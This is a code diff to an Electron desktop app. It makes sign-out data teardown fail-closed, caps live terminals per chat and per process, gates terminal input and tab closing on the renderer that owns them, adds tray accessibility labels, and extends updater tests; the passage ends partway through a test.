diff --git a/apps/desktop/src/main/session-lifecycle.ts b/apps/desktop/src/main/session-lifecycle.ts index 0e68187b2dc..c6d47899b2b 100644 --- a/apps/desktop/src/main/session-lifecycle.ts +++ b/apps/desktop/src/main/session-lifecycle.ts @@ -1,6 +1,12 @@ import { createLogger } from '@sim/logger' +import { sleep } from '@sim/utils/helpers' import type { Session, WebContents } from 'electron' import { BrowserWindow, dialog } from 'electron' +import { + beginAccountDataTeardown, + completeAccountDataTeardown, + waitForAccountDataMutations, +} from '@/main/account-data-generation' import { isSafeInternalPath } from '@/main/config' import { isAuthSurfacePath, openExternalSafe } from '@/main/navigation' import type { EventRecorder } from '@/main/observability' @@ -10,6 +16,7 @@ const logger = createLogger('DesktopSessionLifecycle') const SESSION_PROBE_TIMEOUT_MS = 5000 const START_ROUTE_PROBE_TIMEOUT_MS = 1500 const TEARDOWN_COOLDOWN_MS = 3000 +const TEARDOWN_WAIT_TIMEOUT_MS = 5000 const CLEARED_STORAGES = [ 'cookies', @@ -251,26 +258,43 @@ export async function revokeAppSession(win: BrowserWindow, origin: string): Prom */ export async function tearDownSession( session: Session, + origin: string, clearHandoffState: () => void | Promise, events: EventRecorder, clearBrowserProfile: () => Promise, revokeSession: () => Promise ): Promise { + if (!beginAccountDataTeardown('account', origin)) { + throw new Error('Could not persist account-data recovery marker.') + } events.record('sign_out') // Server-side first, while the partition still holds the session cookie the - // revoke needs. Every step below is best-effort for the same reason the - // browser-profile clear is: failing to clear something is bad, failing to - // sign out is worse. + // revoke needs. Revocation remains best-effort because offline sign-out must + // still erase the device, but every local erasure below is fail-closed. await revokeSession().catch((error) => logger.error('Session revoke failed', { error })) - await Promise.resolve(clearHandoffState()).catch((error) => - logger.error('Local account-state teardown failed', { error }) - ) - await clearBrowserProfile().catch((error) => - logger.error('Browser profile teardown failed', { error }) + await waitForAccountDataMutations() + + const failures: unknown[] = [] + const clear = async (label: string, operation: () => void | Promise) => { + try { + await operation() + } catch (error) { + failures.push(error) + logger.error(label, { error }) + } + } + + await clear('Local account-state teardown failed', clearHandoffState) + await clear('Browser profile teardown failed', clearBrowserProfile) + await clear('App partition storage teardown failed', () => + session.clearStorageData({ storages: [...CLEARED_STORAGES] }) ) - await session - .clearStorageData({ storages: [...CLEARED_STORAGES] }) - .catch((error) => logger.error('App partition teardown failed', { error })) + await clear('App partition cache teardown failed', () => session.clearCache()) + + if (failures.length > 0) { + throw new AggregateError(failures, 'One or more account-data stores could not be cleared.') + } + completeAccountDataTeardown() } export interface SessionLifecycleDeps { @@ -290,7 +314,10 @@ export interface SessionLifecycleCoordinator { * the in-progress guard, and its own cookie removal then trips the cookie * watcher into a second concurrent teardown. */ - signOut(): void + signOut(): Promise + /** Waits for an active teardown without allowing shutdown to hang indefinitely. */ + awaitTeardown(timeoutMs?: number): Promise + isTeardownActive(): boolean } interface SessionLifecycleCoordinatorDeps extends SessionLifecycleDeps { @@ -314,13 +341,17 @@ interface SessionLifecycleCoordinatorDeps extends SessionLifecycleDeps { export function createSessionLifecycleCoordinator( deps: SessionLifecycleCoordinatorDeps ): SessionLifecycleCoordinator { - let tearingDown = false - const runTeardown = () => { - if (tearingDown) return - tearingDown = true + let teardownPromise: Promise | null = null + let teardownSettled = true + let lastTeardownSucceeded: boolean | null = null + const runTeardown = (): Promise => { + if (teardownPromise) return teardownPromise + teardownSettled = false + lastTeardownSucceeded = null logger.info('Sign-out detected; clearing partition') - void tearDownSession( + const pending = tearDownSession( deps.appSession, + deps.origin(), deps.clearHandoffState, deps.events, deps.clearBrowserProfile, @@ -335,19 +366,39 @@ export function createSessionLifecycleCoordinator( } } ) - .catch((error) => logger.error('Session teardown failed', { error })) - .finally(() => { + .then(() => { for (const win of deps.getWindows()) { if (!win.isDestroyed()) { void win.loadURL(`${deps.origin()}/login`).catch(() => {}) } } + lastTeardownSucceeded = true + return true + }) + .catch((error) => { + logger.error('Session teardown failed; refusing to report a clean sign-out', { error }) + void dialog.showMessageBox({ + type: 'error', + message: 'Sim could not finish signing out', + detail: + 'Some account data could not be removed from this device. Try signing out again before another account uses the app.', + buttons: ['OK'], + }) + lastTeardownSucceeded = false + return false + }) + .finally(() => { + teardownSettled = true // Re-arm after clearStorageData's own cookie-removal events have // drained, so self-induced deletions never re-trigger teardown. setTimeout(() => { - tearingDown = false + if (teardownPromise === pending) { + teardownPromise = null + } }, TEARDOWN_COOLDOWN_MS) }) + teardownPromise = pending + return pending } // Robust backstop: when the better-auth session cookie is deleted by ANY @@ -355,7 +406,7 @@ export function createSessionLifecycleCoordinator( // gone with a probe — so cookie rotation can't cause a false teardown — then // clear the partition. This closes the cross-account residue gap. deps.appSession.cookies.on('changed', (_event, cookie, cause, removed) => { - if (tearingDown || !removed || cause === 'overwrite') { + if (teardownPromise !== null || !removed || cause === 'overwrite') { return } if (!isSessionCookieName(cookie.name)) { @@ -370,6 +421,14 @@ export function createSessionLifecycleCoordinator( return { signOut: runTeardown, + async awaitTeardown(timeoutMs = TEARDOWN_WAIT_TIMEOUT_MS) { + const pending = teardownPromise + if (!pending) return lastTeardownSucceeded !== false + return Promise.race([pending, sleep(timeoutMs).then(() => false)]) + }, + isTeardownActive() { + return teardownPromise !== null && !teardownSettled + }, attachWindow(win) { const onNavigation = (url: string) => { if (isLogoutNavigation(url, deps.origin())) { diff --git a/apps/desktop/src/main/terminal/index.ts b/apps/desktop/src/main/terminal/index.ts index 1dcfd7a1276..e22a8911cd7 100644 --- a/apps/desktop/src/main/terminal/index.ts +++ b/apps/desktop/src/main/terminal/index.ts @@ -82,6 +82,9 @@ const CWD_POLL_MS = 1_000 /** Cmd-Shift-T history; independent of how many terminals may be open. */ const MAX_RECENTLY_CLOSED_TERMINALS = 10 +/** A single chat cannot monopolize the process with native PTYs. */ +export const MAX_TERMINALS_PER_SCOPE = 16 + /** Pause between keys sent to a tmux pane, matching the pty keystroke gap. */ const TMUX_KEY_GAP_MS = 150 @@ -130,7 +133,7 @@ function requestedKeys(args: TerminalToolArgs): TerminalControlKey[] { const EMPTY_TABS: TerminalTabsState = { tabs: [], activeTerminalId: null } -class TerminalError extends Error { +export class TerminalError extends Error { constructor( readonly code: TerminalErrorCode, message: string @@ -155,6 +158,7 @@ export interface TerminalServiceOptions { * to the home directory. */ loadCwd?(): string | undefined + canSpawn?(): boolean } export class TerminalService { @@ -612,6 +616,36 @@ export class TerminalService { } } + /** Captures live renderer claims before the registry replaces this service. */ + getPanelOwners(): { focused: WebContents | null; visible: WebContents | null } { + return { + focused: this.focusOwner && !this.focusOwner.isDestroyed() ? this.focusOwner : null, + visible: this.visibleOwner && !this.visibleOwner.isDestroyed() ? this.visibleOwner : null, + } + } + + /** + * Whether this renderer owns the visible active terminal. + * + * IPC validates recent trusted input separately. Keeping ownership checks + * beside terminal state prevents a stale renderer from targeting a hidden + * tab or a terminal displayed by another window. + */ + acceptsUserInput(owner: WebContents, terminalId: string): boolean { + return ( + !owner.isDestroyed() && + this.focusOwner === owner && + this.visibleOwner === owner && + this.activeId === terminalId && + this.sessions.has(terminalId) + ) + } + + /** Whether one renderer may close a tab in the terminal panel it displays. */ + acceptsUserClose(owner: WebContents, terminalId: string): boolean { + return !owner.isDestroyed() && this.visibleOwner === owner && this.sessions.has(terminalId) + } + /** Drops the claim and unsubscribes from the owner's lifecycle. */ private releaseFocusOwner(): void { this.releaseFocusListeners?.() @@ -1092,6 +1126,18 @@ export class TerminalService { rows: number, options: { activateVisible: boolean; activateAgent: boolean } ): TerminalSession { + if (this.sessions.size >= MAX_TERMINALS_PER_SCOPE) { + throw new TerminalError( + 'RESOURCE_LIMIT', + `A task can have at most ${MAX_TERMINALS_PER_SCOPE} live terminals.` + ) + } + if (this.options.canSpawn && !this.options.canSpawn()) { + throw new TerminalError( + 'RESOURCE_LIMIT', + 'Sim can have at most 48 live terminals. Close a terminal before opening another.' + ) + } const terminalId = String(this.nextId++) try { const session = TerminalSession.create({ diff --git a/apps/desktop/src/main/terminal/registry.test.ts b/apps/desktop/src/main/terminal/registry.test.ts index 9dbca468c1b..6300a1adb00 100644 --- a/apps/desktop/src/main/terminal/registry.test.ts +++ b/apps/desktop/src/main/terminal/registry.test.ts @@ -9,6 +9,7 @@ interface StubSessionControl { terminalId: string cwd: string disposed: boolean + writes: string[] emitData(data: string): void emitCommand(event: TerminalCommandEvent): void } @@ -20,7 +21,8 @@ interface StubSessionCallbacks { onExit(terminalId: string): void } -const { stubSessions } = vi.hoisted(() => ({ +const { createControl, stubSessions } = vi.hoisted(() => ({ + createControl: { calls: 0, failAt: null as number | null }, stubSessions: [] as StubSessionControl[], })) @@ -40,10 +42,15 @@ vi.mock('@/main/terminal/session', () => ({ rows: number callbacks: StubSessionCallbacks }) => { + createControl.calls += 1 + if (createControl.calls === createControl.failAt) { + throw new Error('PTY spawn failed') + } const control: StubSessionControl = { terminalId, cwd, disposed: false, + writes: [], emitData: (data) => callbacks.onData(terminalId, data), emitCommand: (event) => callbacks.onCommand(event), } @@ -66,7 +73,7 @@ vi.mock('@/main/terminal/session', () => ({ dispose: () => { control.disposed = true }, - write: vi.fn(), + write: vi.fn((data: string) => control.writes.push(data)), resize: vi.fn(), tabState: (active: boolean) => ({ terminalId, @@ -103,6 +110,8 @@ function sink(): ScopedTerminalSink { describe('TerminalRegistry', () => { beforeEach(() => { + createControl.calls = 0 + createControl.failAt = null stubSessions.length = 0 }) @@ -236,6 +245,140 @@ describe('TerminalRegistry', () => { terminals.dispose() }) + it('rolls back a partial restore before retrying the complete descriptor', () => { + const persistedTabs = [{ cwd: tmpdir() }, { cwd: process.cwd() }, { cwd: tmpdir() }] + const persistence: TerminalScopePersistence = { + load: vi.fn(() => ({ v: 1 as const, tabs: persistedTabs, activeIndex: 1 })), + save: vi.fn(() => true), + migrate: vi.fn(() => true), + disposeScope: vi.fn(), + } + const terminals = new TerminalRegistry(persistence) + const events = sink() + const owner = { + isDestroyed: () => false, + once: vi.fn(), + on: vi.fn(), + removeListener: vi.fn(), + send: vi.fn(), + } + terminals.setSink(events) + terminals.setPanelVisible('chat-A', true, owner as never) + terminals.setPanelFocused('chat-A', true, owner as never) + createControl.failAt = 2 + + expect(() => terminals.start('chat-A', { cols: 120, rows: 40 })).toThrow('PTY spawn failed') + expect(stubSessions).toHaveLength(1) + expect(stubSessions[0].disposed).toBe(true) + expect(terminals.peekTabs('chat-A')).toEqual({ tabs: [], activeTerminalId: null }) + expect(persistence.save).not.toHaveBeenCalled() + expect(events.tabs).not.toHaveBeenCalled() + + createControl.failAt = null + const restored = terminals.start('chat-A', { cols: 120, rows: 40 }) + + expect(restored.tabs.map(({ cwd }) => cwd)).toEqual(persistedTabs.map(({ cwd }) => cwd)) + expect(restored.activeTerminalId).toBe('2') + expect(stubSessions.filter(({ disposed }) => !disposed)).toHaveLength(3) + expect( + stubSessions.filter(({ disposed }) => !disposed).map(({ terminalId }) => terminalId) + ).toEqual(['1', '2', '3']) + expect(persistence.save).toHaveBeenCalledOnce() + expect(events.tabs).toHaveBeenCalledOnce() + expect(events.tabs).toHaveBeenCalledWith('chat-A', restored) + + const activeTerminalId = restored.activeTerminalId as string + expect(terminals.writeUserInput('chat-A', activeTerminalId, 'a', owner as never)).toBe(true) + expect(terminals.handleFocusedShortcut({ webContents: owner } as never, 'zoom-in')).toBe(true) + expect(owner.send).toHaveBeenCalledWith( + 'terminal:shortcut-command', + 'zoom-in', + 'chat-A', + activeTerminalId + ) + expect(terminals.closeUserTerminal('chat-A', '1', owner as never).tabs).toHaveLength(2) + + terminals.dispose() + }) + + it('bounds a corrupt oversized restore while retaining its selected tab', () => { + const persistedTabs = Array.from({ length: 20 }, (_, index) => ({ + cwd: index % 2 === 0 ? tmpdir() : process.cwd(), + })) + const persistence: TerminalScopePersistence = { + load: vi.fn(() => ({ + v: 1 as const, + tabs: persistedTabs, + activeIndex: 19, + })), + save: vi.fn(() => true), + migrate: vi.fn(() => true), + disposeScope: vi.fn(), + } + const terminals = new TerminalRegistry(persistence) + + const restored = terminals.start('chat-A', { cols: 120, rows: 40 }) + + expect(restored.tabs).toHaveLength(16) + expect(restored.activeTerminalId).toBe('16') + expect(stubSessions.map(({ cwd }) => cwd)).toEqual([ + ...persistedTabs.slice(0, 15).map(({ cwd }) => cwd), + persistedTabs[19].cwd, + ]) + expect(persistence.save).toHaveBeenLastCalledWith('chat-A', { + v: 1, + tabs: [...persistedTabs.slice(0, 15), persistedTabs[19]], + activeIndex: 15, + }) + }) + + it('enforces the process-wide terminal ceiling without evicting live scopes', () => { + const terminals = registry() + for (let index = 0; index < 48; index++) { + terminals.start(`chat-${index}`, { cols: 80, rows: 24 }) + } + + expect(() => terminals.start('chat-overflow', { cols: 80, rows: 24 })).toThrow( + expect.objectContaining({ code: 'RESOURCE_LIMIT' }) + ) + expect(stubSessions).toHaveLength(48) + expect(stubSessions.every((session) => !session.disposed)).toBe(true) + }) + + it('does not truncate a saved terminal session while the process budget is occupied', () => { + const persistedTabs = [{ cwd: tmpdir() }, { cwd: process.cwd() }, { cwd: tmpdir() }] + const persistence: TerminalScopePersistence = { + load: vi.fn((scope) => + scope === 'chat-pending-restore' + ? { v: 1 as const, tabs: persistedTabs, activeIndex: 1 } + : undefined + ), + save: vi.fn(() => true), + migrate: vi.fn(() => true), + disposeScope: vi.fn(), + } + const terminals = new TerminalRegistry(persistence) + for (let index = 0; index < 46; index++) { + terminals.start(`chat-live-${index}`, { cols: 80, rows: 24 }) + } + + expect(() => terminals.start('chat-pending-restore', { cols: 80, rows: 24 })).toThrow( + expect.objectContaining({ code: 'RESOURCE_LIMIT' }) + ) + expect(persistence.save).not.toHaveBeenCalledWith('chat-pending-restore', expect.anything()) + + terminals.disposeScope('chat-live-0') + const restored = terminals.start('chat-pending-restore', { cols: 80, rows: 24 }) + + expect(restored.tabs.map(({ cwd }) => cwd)).toEqual(persistedTabs.map(({ cwd }) => cwd)) + expect(restored.activeTerminalId).toBe('2') + expect(persistence.save).toHaveBeenCalledWith('chat-pending-restore', { + v: 1, + tabs: persistedTabs, + activeIndex: 1, + }) + }) + it('opens a fallback shell for a saved tab whose directory no longer exists', () => { const missingCwd = '/definitely-does-not-exist/sim-terminal-restored-tab' const persistence: TerminalScopePersistence = { @@ -399,4 +542,55 @@ describe('TerminalRegistry', () => { terminals.setPanelFocused('chat-B', false, contents as never) expect(terminals.handleFocusedShortcut(ownerWindow as never, 'reload-or-clear')).toBe(false) }) + + it('writes user input only for the visible focused owner and active terminal', () => { + const terminals = registry() + const first = terminals.start('chat-A', { cols: 80, rows: 24 }).activeTerminalId as string + const second = terminals.openTerminal('chat-A').activeTerminalId as string + terminals.start('chat-B', { cols: 80, rows: 24 }) + const owner = { + isDestroyed: () => false, + once: vi.fn(), + on: vi.fn(), + removeListener: vi.fn(), + } + const other = { ...owner, once: vi.fn(), on: vi.fn(), removeListener: vi.fn() } + + terminals.setPanelFocused('chat-A', true, owner as never) + terminals.setPanelVisible('chat-A', true, owner as never) + + expect(terminals.writeUserInput('chat-A', second, 'a', other as never)).toBe(false) + expect(terminals.writeUserInput('chat-A', first, 'a', owner as never)).toBe(false) + expect(terminals.writeUserInput('chat-B', '1', 'a', owner as never)).toBe(false) + expect(stubSessions.every((session) => session.writes.length === 0)).toBe(true) + + expect(terminals.writeUserInput('chat-A', second, 'a', owner as never)).toBe(true) + const activeSession = stubSessions.find((session) => session.terminalId === second) + expect(activeSession?.writes).toEqual(['a']) + }) + + it('closes tabs only for the renderer displaying their terminal scope', () => { + const terminals = registry() + const first = terminals.start('chat-A', { cols: 80, rows: 24 }).activeTerminalId as string + const second = terminals.openTerminal('chat-A').activeTerminalId as string + const owner = { + isDestroyed: () => false, + once: vi.fn(), + on: vi.fn(), + removeListener: vi.fn(), + } + const other = { ...owner, once: vi.fn(), on: vi.fn(), removeListener: vi.fn() } + + expect(terminals.closeUserTerminal('chat-A', first, owner as never).tabs).toHaveLength(2) + terminals.setPanelVisible('chat-A', true, owner as never) + expect(terminals.closeUserTerminal('chat-A', first, other as never).tabs).toHaveLength(2) + expect(terminals.closeUserTerminal('chat-B', '1', owner as never)).toEqual({ + tabs: [], + activeTerminalId: null, + }) + + const closed = terminals.closeUserTerminal('chat-A', first, owner as never) + expect(closed.tabs).toHaveLength(1) + expect(closed.activeTerminalId).toBe(second) + }) }) diff --git a/apps/desktop/src/main/terminal/registry.ts b/apps/desktop/src/main/terminal/registry.ts index 673b29beb99..0dec570e95b 100644 --- a/apps/desktop/src/main/terminal/registry.ts +++ b/apps/desktop/src/main/terminal/registry.ts @@ -11,7 +11,16 @@ import { import { type BrowserWindow, dialog, type WebContents } from 'electron' import type { TerminalSessionSnapshot } from '@/main/desktop-chat-session-store' import type { FocusedResourceShortcut } from '@/main/resource-shortcuts' -import { TerminalService, type TerminalServiceOptions, type TerminalSink } from '@/main/terminal' +import { + MAX_TERMINALS_PER_SCOPE, + TerminalError, + TerminalService, + type TerminalServiceOptions, + type TerminalSink, +} from '@/main/terminal' + +/** Native PTYs and their headless xterm buffers are process-wide resources. */ +export const MAX_TERMINALS_PER_PROCESS = 48 /** Live terminal events tagged with the chat scope that owns their service. */ export interface ScopedTerminalSink { @@ -54,6 +63,28 @@ function restorableCwd(cwd: string): string | undefined { } } +/** + * Bounds a saved descriptor while retaining the selected tab when it falls + * beyond the ordered prefix. The selected tab replaces the final retained + * entry, preserving relative order for every other survivor. + */ +function boundSnapshot( + snapshot: TerminalSessionSnapshot | undefined +): TerminalSessionSnapshot | undefined { + if (!snapshot) return undefined + if (snapshot.tabs.length <= MAX_TERMINALS_PER_SCOPE) return snapshot + const activeIndex = Math.min(Math.max(0, snapshot.activeIndex), snapshot.tabs.length - 1) + const tabs = snapshot.tabs.slice(0, MAX_TERMINALS_PER_SCOPE) + if (activeIndex >= MAX_TERMINALS_PER_SCOPE) { + tabs[MAX_TERMINALS_PER_SCOPE - 1] = snapshot.tabs[activeIndex] + } + return { + v: 1, + tabs, + activeIndex: activeIndex < MAX_TERMINALS_PER_SCOPE ? activeIndex : MAX_TERMINALS_PER_SCOPE - 1, + } +} + /** * Owns one independent terminal service per chat scope. * @@ -132,11 +163,28 @@ export class TerminalRegistry { return this.serviceFor(scope).closeTerminal(terminalId) } + /** Closes a tab only from the renderer that currently displays its scope. */ + closeUserTerminal(scope: string, terminalId: string, owner: WebContents): TerminalTabsState { + if (this.suspendedScopes.has(scope)) return { tabs: [], activeTerminalId: null } + const service = this.entries.get(scope)?.service + if (!service?.acceptsUserClose(owner, terminalId)) return this.peekTabs(scope) + return service.closeTerminal(terminalId) + } + write(scope: string, terminalId: string, data: string): void { if (this.suspendedScopes.has(scope)) return this.serviceFor(scope).write(terminalId, data) } + /** Applies user input only to the visible active tab owned by its renderer. */ + writeUserInput(scope: string, terminalId: string, data: string, owner: WebContents): boolean { + if (this.suspendedScopes.has(scope)) return false + const service = this.entries.get(scope)?.service + if (!service?.acceptsUserInput(owner, terminalId)) return false + service.write(terminalId, data) + return true + } + resize(scope: string, terminalId: string, cols: number, rows: number): void { if (this.suspendedScopes.has(scope)) return this.serviceFor(scope).resize(terminalId, cols, rows) @@ -321,12 +369,12 @@ export class TerminalRegistry { const existing = this.entries.get(scope) if (existing) return existing - const persisted = this.persistence?.load(scope) - const rememberedCwd = persisted?.tabs[0]?.cwd + const persisted = boundSnapshot(this.persistence?.load(scope)) const entry: TerminalRegistryEntry = { scope, service: this.serviceFactory(scope, { - loadCwd: () => rememberedCwd, + loadCwd: () => this.entries.get(scope)?.persisted?.tabs[0]?.cwd, + canSpawn: () => this.liveTerminalCount() < MAX_TERMINALS_PER_PROCESS, }), persisted, restoreApplied: false, @@ -348,6 +396,15 @@ export class TerminalRegistry { ): TerminalTabsState { if (entry.restoreApplied) return entry.service.start(options) + const requiredSlots = entry.persisted?.tabs.length ?? 1 + const availableSlots = Math.max(0, MAX_TERMINALS_PER_PROCESS - this.liveTerminalCount()) + if (requiredSlots > availableSlots) { + throw new TerminalError( + 'RESOURCE_LIMIT', + `Sim can have at most ${MAX_TERMINALS_PER_PROCESS} live terminals. Close a terminal before opening another.` + ) + } + entry.restoreApplied = true entry.restoring = true let tabs: TerminalTabsState @@ -358,16 +415,42 @@ export class TerminalRegistry { for (const tab of persisted.tabs.slice(1)) { entry.service.restoreTerminal(restorableCwd(tab.cwd)) } - const restored = entry.service.getTabs() - const active = restored.tabs[persisted.activeIndex] + const restoredState = entry.service.getTabs() + const active = restoredState.tabs[persisted.activeIndex] if (active) entry.service.restoreActiveTerminal(active.terminalId) } tabs = entry.service.getTabs() + } catch (error) { + const owners = entry.service.getPanelOwners() + entry.service.setSink(null) + entry.service.dispose() + let replacement: TerminalService + try { + replacement = this.serviceFactory(entry.scope, { + loadCwd: () => entry.persisted?.tabs[0]?.cwd, + canSpawn: () => this.liveTerminalCount() < MAX_TERMINALS_PER_PROCESS, + }) + } catch { + this.entries.delete(entry.scope) + throw error + } + entry.service = replacement + try { + entry.restoreApplied = false + this.bindSink(entry) + if (owners.visible) entry.service.setPanelVisible(true, owners.visible) + if (owners.focused) entry.service.setPanelFocused(true, owners.focused) + } catch { + entry.service.setSink(null) + entry.service.dispose() + this.entries.delete(entry.scope) + } + throw error } finally { entry.restoring = false - entry.persisted = undefined } - this.persistTabs(entry, tabs) + entry.persisted = undefined + this.publishTabs(entry, tabs) return tabs } @@ -382,16 +465,23 @@ export class TerminalRegistry { } const sink: TerminalSink = { - data: (terminalId, data) => this.sink?.data(entry.scope, terminalId, data), - tabs: (state) => { - this.persistTabs(entry, state) - this.sink?.tabs(entry.scope, state) + data: (terminalId, data) => { + if (!entry.restoring) this.sink?.data(entry.scope, terminalId, data) + }, + tabs: (state) => this.publishTabs(entry, state), + command: (event) => { + if (!entry.restoring) this.sink?.command(entry.scope, event) }, - command: (event) => this.sink?.command(entry.scope, event), } entry.service.setSink(sink) } + private publishTabs(entry: TerminalRegistryEntry, state: TerminalTabsState): void { + if (entry.restoring) return + this.persistTabs(entry, state) + this.sink?.tabs(entry.scope, state) + } + private persistEntry(entry: TerminalRegistryEntry): boolean { return this.persistTabs(entry, entry.service.getTabs()) } @@ -408,4 +498,10 @@ export class TerminalRegistry { ) return this.persistence.save(entry.scope, { v: 1, tabs, activeIndex }) } + + private liveTerminalCount(): number { + let count = 0 + for (const entry of this.entries.values()) count += entry.service.getTabs().tabs.length + return count + } } diff --git a/apps/desktop/src/main/terminal/service.test.ts b/apps/desktop/src/main/terminal/service.test.ts index cef327baa5e..60a3060bb79 100644 --- a/apps/desktop/src/main/terminal/service.test.ts +++ b/apps/desktop/src/main/terminal/service.test.ts @@ -397,6 +397,20 @@ describe('focus-gated shortcuts', () => { ).toBe('/alpha') }) + it('fails cleanly instead of opening a seventeenth terminal', () => { + const terminal = service() + terminal.start({ cols: 80, rows: 24 }) + while (terminal.getTabs().tabs.length < 16) terminal.openTerminal() + + expect(() => terminal.openTerminal()).toThrow( + expect.objectContaining({ + code: 'RESOURCE_LIMIT', + message: 'A task can have at most 16 live terminals.', + }) + ) + expect(terminal.getTabs().tabs).toHaveLength(16) + }) + it('ignores a blur reported by a renderer that does not hold the claim', () => { // Every renderer reports its own blur, so a second window switching away // from its terminal sends `false` from a WebContents that never claimed. diff --git a/apps/desktop/src/main/tray.test.ts b/apps/desktop/src/main/tray.test.ts index 1cd08dcaffc..ce688effc3f 100644 --- a/apps/desktop/src/main/tray.test.ts +++ b/apps/desktop/src/main/tray.test.ts @@ -179,6 +179,9 @@ describe('buildTrayMenuTemplate', () => { const seen = template.find((item) => item.label === 'Seen') expect(working?.icon).toBeDefined() expect(fresh?.icon).toBeDefined() + expect(working?.accessibilityLabel).toBe('Working, running') + expect(fresh?.accessibilityLabel).toBe('Fresh, unread') + expect(seen?.accessibilityLabel).toBe('Seen') // Active (yellow) and unread (green) use distinct images; read chats get none. expect(working?.icon).not.toBe(fresh?.icon) expect(seen?.icon).toBeUndefined() diff --git a/apps/desktop/src/main/tray.ts b/apps/desktop/src/main/tray.ts index 1f21815dc2e..7ae06b73c72 100644 --- a/apps/desktop/src/main/tray.ts +++ b/apps/desktop/src/main/tray.ts @@ -336,8 +336,12 @@ export interface TrayDeps { function chatMenuItem(chat: RecentChat, deps: TrayDeps): MenuItemConstructorOptions { const icon = statusDotImage(chat.status) + const statusLabel = + chat.status === 'active' ? 'running' : chat.status === 'unread' ? 'unread' : '' + const label = truncate(chat.title, 57, '…') return { - label: truncate(chat.title, 57, '…'), + label, + accessibilityLabel: statusLabel ? `${label}, ${statusLabel}` : label, ...(icon ? { icon } : {}), click: () => deps.openMainWindow(chatRoute(chat)), } diff --git a/apps/desktop/src/main/updater.test.ts b/apps/desktop/src/main/updater.test.ts index 5f00197d3c2..a95d2839873 100644 --- a/apps/desktop/src/main/updater.test.ts +++ b/apps/desktop/src/main/updater.test.ts @@ -3,8 +3,15 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) +let updaterChannel = '' const autoUpdaterMock = { - channel: '', + get channel() { + return updaterChannel + }, + set channel(value: string) { + updaterChannel = value + this.allowDowngrade = true + }, allowDowngrade: false, autoDownload: true, autoInstallOnAppQuit: false, @@ -12,7 +19,7 @@ const autoUpdaterMock = { logger: null as unknown, on: vi.fn(), setFeedURL: vi.fn(), - checkForUpdates: vi.fn(() => Promise.resolve(null)), + checkForUpdates: vi.fn<() => Promise>(), downloadUpdate: vi.fn(() => Promise.resolve([])), quitAndInstall: vi.fn(), } @@ -25,6 +32,7 @@ import { isDowngrade, isNewerVersion, parseSemver, + readUpdateManifest, resolveUpdateChannel, type UpdaterHandle, updateCheckIntervalMs, @@ -149,6 +157,7 @@ describe('initUpdater state machine', () => { autoDownload?: boolean feedAvailable?: boolean | 'no-release' probeOriginFeed?: (feedUrl: string) => Promise + beforeInstall?: () => Promise }) { const states: DesktopUpdateState[] = [] const handle = initUpdater({ @@ -161,6 +170,8 @@ describe('initUpdater state machine', () => { autoUpdaterMock as unknown as typeof import('electron-updater')['autoUpdater'], probeOriginFeed: options?.probeOriginFeed ?? (async () => options?.feedAvailable ?? false), canSelfUpdate: async () => true, + platform: 'darwin', + beforeInstall: options?.beforeInstall, }) // Engine selection (signature detection) resolves asynchronously. await vi.advanceTimersByTimeAsync(0) @@ -172,9 +183,11 @@ describe('initUpdater state machine', () => { autoUpdaterMock.on.mockClear() autoUpdaterMock.setFeedURL.mockClear() autoUpdaterMock.checkForUpdates.mockClear() + autoUpdaterMock.checkForUpdates.mockImplementation(() => new Promise(() => {})) autoUpdaterMock.downloadUpdate.mockClear() autoUpdaterMock.quitAndInstall.mockClear() autoUpdaterMock.autoRunAppAfterInstall = false + updaterChannel = '' vi.mocked(dialog.showMessageBox).mockResolvedValue({ response: 1, checkboxChecked: false }) }) @@ -189,7 +202,8 @@ describe('initUpdater state machine', () => { handle.install() expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled() - emit('checking-for-update') + handle.check() + await vi.advanceTimersByTimeAsync(0) emit('update-available', { version: '2.0.0' }) emit('download-progress', { percent: 41.7 }) emit('update-downloaded', { version: '2.0.0' }) @@ -211,12 +225,20 @@ describe('initUpdater state machine', () => { autoUpdaterMock.autoDownload = false const { handle } = await createUpdater({ autoDownload: false }) + handle.check() + await vi.advanceTimersByTimeAsync(0) emit('update-available', { version: '2.0.0' }) expect(handle.getState()).toEqual({ status: 'available', version: '2.0.0' }) handle.check() expect(autoUpdaterMock.downloadUpdate).toHaveBeenCalledTimes(1) - expect(autoUpdaterMock.checkForUpdates).not.toHaveBeenCalled() + expect(autoUpdaterMock.checkForUpdates).toHaveBeenCalledTimes(1) + expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0' }) + + handle.check() + expect(autoUpdaterMock.downloadUpdate).toHaveBeenCalledTimes(1) + emit('download-progress', { percent: 41.7 }) + expect(handle.getState()).toEqual({ status: 'downloading', version: '2.0.0', percent: 42 }) emit('update-downloaded', { version: '2.0.0' }) expect(dialog.showMessageBox).not.toHaveBeenCalled() @@ -224,6 +246,64 @@ describe('initUpdater state machine', () => { expect(autoUpdaterMock.quitAndInstall).toHaveBeenCalledTimes(1) }) + it('surfaces a manually started download failure without installing', async () => { + autoUpdaterMock.downloadUpdate.mockRejectedValueOnce(new Error('download failed')) + const { handle } = await createUpdater({ autoDownload: false }) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + emit('update-available', { version: '2.0.0' }) + handle.check() + await vi.advanceTimersByTimeAsync(0) + + expect(handle.getState()).toEqual({ status: 'error', version: '2.0.0' }) + emit('update-downloaded', { version: '2.0.0' }) + expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled() + }) + + it('awaits desktop teardown before Squirrel terminates the process', async () => { + let finishTeardown: (() => void) | undefined + const beforeInstall = vi.fn( + () => + new Promise((resolve) => { + finishTeardown = resolve + }) + ) + const { handle } = await createUpdater({ autoDownload: false, beforeInstall }) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + emit('update-available', { version: '2.0.0' }) + handle.check() + emit('update-downloaded', { version: '2.0.0' }) + await vi.advanceTimersByTimeAsync(0) + + expect(beforeInstall).toHaveBeenCalledTimes(1) + expect(autoUpdaterMock.quitAndInstall).not.toHaveBeenCalled() + + finishTeardown?.() + await vi.advanceTimersByTimeAsync(0) + expect(autoUpdaterMock.quitAndInstall).toHaveBeenCalledTimes(1) + }) + + it('does not install when pre-install teardown fails', async () => { + const beforeInstall = vi.fn(async () => { + throw new Error('flush failed') + }) + const { handle } = await createUpdater({ beforeInstall }) + + handle.check() + await vi.advanceTimersByTimeAsync(0) + emit('update-available', { version: '2.0.0' }) + emit('update-downloaded', { version: '2.0.0' }) + handle.install() + await 